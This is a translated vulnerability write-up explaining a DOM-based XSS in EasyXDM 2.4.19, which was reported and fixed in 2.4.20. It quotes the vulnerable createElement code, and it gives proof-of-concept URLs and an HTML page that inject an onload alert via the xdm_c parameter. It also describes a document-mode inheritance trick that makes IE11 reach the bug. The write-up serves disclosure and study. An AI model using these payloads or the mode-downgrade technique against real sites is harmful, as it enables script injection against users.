利用文档模式继承:EasyXDM 2.4.19 DOMXSS漏洞分析

本文详细分析了EasyXDM 2.4.19版本中存在的DOM型XSS漏洞,该漏洞仅在IE浏览器的旧文档模式下触发。作者通过文档模式继承技术成功将攻击范围扩展到所有IE11用户,并提供了完整的技术细节和复现方法。

滥用文档模式继承:EasyXDM 2.4.19 DOMXSS漏洞

在这篇文章中,我将解释EasyXDM 2.4.19版本中的一个XSS问题。我向开发者报告了此问题,并已得到修复。

如果您是用户,应该将其更新到EasyXDM 2.4.20版本。

安全更新版本2.4.20 · oyvindkinsey/easyXDM · GitHub https://github.com/oyvindkinsey/easyXDM/releases/tag/2.4.20

这个bug与以下@kkotowicz发现的bug不同:

http://blog.kotowicz.net/2013/09/exploiting-easyxdm-part-1-not-usual.html http://blog.kotowicz.net/2013/10/exploiting-easyxdm-part-2-considered.html http://blog.kotowicz.net/2014/01/xssing-with-shakespeare-name-calling.html

技术细节

要复现这个bug,我们需要一些不寻常的技巧。这个bug仅在MSIE浏览器上有效,且文档模式需要为旧版本(IE7或5)。这是因为XSS存在于只有有缺陷的浏览器才能通过的部分,而只有旧的文档模式才能满足这个条件。

让我们看一下代码。XSS发生在以下createElement()部分:

https://github.com/oyvindkinsey/easyXDM/blob/2.4.19/src/Core.js#L507-509

1
2
3
if (HAS_NAME_PROPERTY_BUG) {
    frame = document.createElement("<iframe name=\"" + config.props.name + "\"/>");
}

if语句条件中的HAS_NAME_PROPERTY_BUG变量只在有缺陷的浏览器上变为true。它在以下函数中被赋值:

https://github.com/oyvindkinsey/easyXDM/blob/2.4.19/src/Core.js#L474-482

1
2
3
4
5
6
7
8
9
function testForNamePropertyBug(){
    var form = document.body.appendChild(document.createElement("form")), input = form.appendChild(document.createElement("input"));
    input.name = IFRAME_PREFIX + "TEST" + channelId; // 添加channelId以避免缓存问题
    HAS_NAME_PROPERTY_BUG = input !== form.elements[input.name];
    document.body.removeChild(form);
    // #ifdef debug
    _trace("HAS_NAME_PROPERTY_BUG: " + HAS_NAME_PROPERTY_BUG);
    // #endif
}

这段代码创建一个表单元素和一个带有name属性的输入元素,并尝试通过name访问输入元素。似乎IE7模式无法通过name访问使用JavaScript动态创建的元素。这段代码就是用于测试这一点的。

我创建了一个页面来测试这个部分。您可以从MSIE确认HAS_NAME_PROPERTY_BUG变量变为true。

http://vulnerabledoma.in/easyxdm/name_property_test.html

现在,让我们使用易受攻击的EasyXDM来确认这个XSS。

访问以下URL并通过F12开发者工具更改IE7模式(F12 -> 仿真选项卡)。您应该会看到一个警告对话框。

http://vulnerabledoma.in/easyxdm/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in&xdm_c=%22onload%3dalert(document.domain)//&xdm_p=0

好的,我们知道它确实有效。但到目前为止,它只在IE7模式下工作。这意味着攻击机会非常有限。

因此,我们使用我最近在幻灯片中提到的"文档模式继承"技巧。

使用这个技巧!

http://l0.cm/easyxdm/poc.html

1
2
3
<meta http-equiv="x-ua-compatible" content="IE=5">
<iframe src="//vulnerabledoma.in/easyxdm/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in&xdm_c=%22onload%3dalert(document.domain)//&xdm_p=0"></iframe>
<script>document.write("document.documentMode: "+document.documentMode)</script>

您仍然看不到警告对话框。父窗口通过meta标签运行在IE5模式下,但iframe运行在IE8模式下。这是因为iframe页面有。如果存在此声明,IE11可以将文档模式降至IE8模式。要实现XSS,我们必须以某种方式将文档模式降至IE7模式。

不用担心!最近我发现IE在特定位置具有强大的继承能力。您可以从以下地址测试:

http://l0.cm/easyxdm/poc.eml

最后,您可以看到一个警告对话框。前者与此页面之间的区别在于,该页面是Content-Type: message/rfc822格式,而不是text/html。正如我在以下幻灯片中展示的那样,IE/Edge仍然可以在浏览器中打开message/rfc822文档。

似乎message/rfc822文档默认在IE5模式下渲染,并且其文档模式继承能力比text/html页面更强。即使页面有,我们也可以将文档模式降至IE7模式。因此,我们可以到达易受攻击的代码。太棒了!:)

使用这种技术,可以扩大影响范围。原本仅影响IE7模式的问题变成了影响所有IE11用户的问题,而无需用户手动更改为旧文档模式。这是非常有用的技术,不是吗?:)

我写了关于EasyXDM 2.4.19中的XSS问题。 就这样。感谢阅读我的文章!

发布日期: 2016年4月10日,星期日,上午6:30
作者: Masato Kinugawa
标签: IE, OSS, Security, XSS

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计